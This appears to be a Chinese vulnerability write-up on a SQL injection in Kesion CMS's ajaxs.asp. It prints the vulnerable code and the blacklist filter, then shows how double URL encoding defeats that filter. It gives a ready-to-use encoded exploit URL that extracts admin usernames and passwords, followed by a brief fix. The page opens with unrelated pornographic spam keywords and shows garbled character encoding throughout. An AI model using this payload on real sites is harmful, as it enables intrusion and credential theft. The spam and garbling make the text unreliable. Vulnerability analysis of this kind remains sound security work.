欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Kesion cms注入漏洞分析及其修復(fù)方案

  發(fā)布時(shí)間:2012-07-07 17:52:18   作者:ywledoc   我要評(píng)論
Kesion cms注入漏洞.我們來分析一下
函數(shù)過濾混亂導(dǎo)致注入

復(fù)制代碼
代碼如下:

Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //問題函數(shù)
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函數(shù)開始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只調(diào)用ks.s函數(shù),無其它過濾。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"http://類似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查詢
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close

 先進(jìn)行了過濾,然后才調(diào)用UnEscape解碼,
 
復(fù)制代碼
代碼如下:

Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系統(tǒng)警告!\n\n1、您提交的數(shù)據(jù)有惡意字符" & SplitSqlArr(I) &";\n2、您的數(shù)據(jù)已經(jīng)被記錄;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function

 如果配合Unescape()函數(shù),剛過濾不會(huì)生效??梢圆捎胾nicode編碼方式,則不會(huì)在瀏覽器中出現(xiàn)被過濾的字符。例如,單引號(hào)可以編碼為。%2527,經(jīng)過解碼后還是“'”號(hào),這樣的話,就可以利用類似php的二次編碼漏洞的方式繞過過濾了。
注入語句:%') union select 1,2,username+'|'+ password from KS_Admin
 轉(zhuǎn)換如下:
 /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
 修復(fù)方案:
UnEscape()函數(shù)調(diào)用位置放在函數(shù)體內(nèi),或者不調(diào)用。

相關(guān)文章

最新評(píng)論